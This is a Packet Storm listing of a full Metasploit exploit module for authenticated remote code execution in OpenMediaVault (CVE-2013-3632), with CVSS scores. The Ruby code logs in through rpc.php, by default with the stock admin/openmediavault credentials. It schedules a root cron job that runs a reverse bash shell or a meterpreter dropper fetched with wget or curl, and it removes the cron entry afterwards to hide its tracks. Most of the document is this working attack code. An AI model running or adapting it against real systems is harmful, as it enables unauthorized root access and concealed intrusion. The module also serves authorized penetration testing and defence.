Lucene search

K
packetstormBrandon Perry, h00die-gr3y, metasploit.comPACKETSTORM:179859
HistoryJul 31, 2024 - 12:00 a.m.

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

2024-07-3100:00:00
Brandon Perry, h00die-gr3y, metasploit.com
packetstormsecurity.com
155
openmediavault
authenticated
cron
remote code execution
post request
rpc.php
arbitrary commands
root access
vulnerable
version 7.4.2-2
authentication
login
metasploit
cve-2013-3632
packetstorm
rapid7 blog
attackerkb.

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

AI Score

7.4

Confidence

Low

EPSS

0.862

Percentile

98.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Deprecated  
  
moved_from 'exploit/multi/http/openmediavault_cmd_exec'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',  
'Description' => %q{  
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.  
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute  
a cron entry that runs arbitrary commands as root on the system.  
All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module  
],  
'References' => [  
['CVE', '2013-3632'],  
['PACKETSTORM', '178526'],  
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],  
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']  
],  
'DisclosureDate' => '2013-10-30',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'curl'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),  
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),  
OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])  
]  
)  
end  
  
def user  
datastore['USERNAME']  
end  
  
def pass  
datastore['PASSWORD']  
end  
  
def rpc_success?(res)  
res&.code == 200 && res.body.include?('"error":null')  
end  
  
def login(user, pass)  
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")  
# try the login options for all OpenMediaVault versions  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Session',  
method: 'login',  
params: {  
username: user,  
password: pass  
},  
options: nil  
}.to_json  
})  
unless res&.code == 200 && res.body.include?('"authenticated":true')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Authentication',  
method: 'login',  
params: {  
username: user,  
password: pass  
}  
}.to_json  
})  
end  
unless res&.code == 200 && res.body.include?('"authenticated":true')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Authentication',  
method: 'login',  
params: [  
{  
username: user,  
password: pass  
}  
]  
}.to_json  
})  
return res&.code == 200 && res.body.include?('"authenticated":true')  
end  
true  
end  
  
def check_target  
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'System',  
method: 'getInformation',  
params: nil  
}.to_json  
})  
return nil unless rpc_success?(res)  
  
res  
end  
  
def check_version(res)  
# parse json response and get the version  
res_json = res.get_json_document  
unless res_json.blank?  
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information  
version = res_json.dig('response', 1, 'value')  
version = res_json.dig('response', 'version') if version.nil?  
version = res_json.dig('response', 'data', 1, 'value') if version.nil?  
return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?  
end  
nil  
end  
  
def apply_config_changes  
# Apply OpenMediaVault configuration changes  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => {  
service: 'Config',  
method: 'applyChangesBg',  
params: {  
modules: [],  
force: false  
},  
options: nil  
}.to_json  
})  
end  
  
def execute_command(cmd, _opts = {})  
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']  
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'  
# OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'  
# OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter  
# OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters  
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'  
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'  
  
if @version_number > Rex::Version.new('1.0.32')  
post_data = {  
service: 'Cron',  
method: 'set',  
params: {  
uuid: uuid,  
enable: true,  
execution: 'exactly',  
minute: schedule,  
everynminute: false,  
hour: schedule,  
everynhour: false,  
dayofmonth: schedule,  
everyndayofmonth: false,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
sendemail: false,  
comment: '',  
type: 'userdefined'  
},  
options: nil  
}.to_json  
elsif @version_number >= Rex::Version.new('0.2.6.4')  
post_data = {  
service: 'Cron',  
method: 'set',  
params: {  
uuid: uuid,  
enable: true,  
minute: schedule,  
everynminute: false,  
hour: schedule,  
everynhour: false,  
dayofmonth: schedule,  
everyndayofmonth: false,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
sendemail: false,  
comment: '',  
type: 'userdefined'  
}  
}.to_json  
else  
post_data = {  
service: 'Cron',  
method: 'set',  
params: [  
{  
uuid: uuid,  
minute: schedule,  
hour: schedule,  
dayofmonth: schedule,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
comment: '',  
type: 'userdefined'  
}  
]  
}.to_json  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => post_data  
})  
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)  
  
# parse json response and get the uuid of the cron entry  
# we need this later to clean up and hide our tracks  
res_json = res.get_json_document  
@cron_uuid = res_json.dig('response', 'uuid') || ''  
  
# In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it  
if @cron_uuid.blank?  
if @version_number >= Rex::Version.new('0.2.6.4')  
method = 'getList'  
else  
method = 'getListByType'  
end  
post_data = {  
service: 'Cron',  
method: method,  
params: {  
start: 0,  
limit: -1,  
sortfield: nil,  
sortdir: nil,  
type: ['userdefined']  
}  
}.to_json  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => post_data  
})  
res_json = res.get_json_document  
# get total list of entries and pick the last one  
index = res_json.dig('response', 'total')  
@cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''  
end  
  
# Apply and update cron configuration to trigger payload execution (1 minute)  
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply  
apply_config_changes  
print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')  
end  
  
def on_new_session(_session)  
# try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true  
unless datastore['PERSISTENT']  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => {  
service: 'Cron',  
method: 'delete',  
params: {  
uuid: @cron_uuid.to_s  
}  
# options: nil  
}.to_json  
})  
if rpc_success?(res)  
# Apply changes and update cron configuration to remove the payload entry  
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply  
apply_config_changes  
print_good('Cron payload entry successfully removed.')  
else  
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')  
end  
end  
super  
end  
  
def check  
@logged_in = login(user, pass)  
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in  
  
res = check_target  
return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?  
  
@version_number = check_version(res)  
return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?  
return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))  
  
CheckCode::Detected("Version #{@version_number}")  
end  
  
def exploit  
unless @logged_in  
if login(user, pass)  
res = check_target  
fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?  
@version_number = check_version(res)  
if @version_number.nil?  
print_status('Can not retrieve version information. Continue anyway...')  
else  
print_status("Version #{@version_number} detected.")  
end  
else  
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')  
end  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

CVSS2

9

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

AI Score

7.4

Confidence

Low

EPSS

0.862

Percentile

98.6%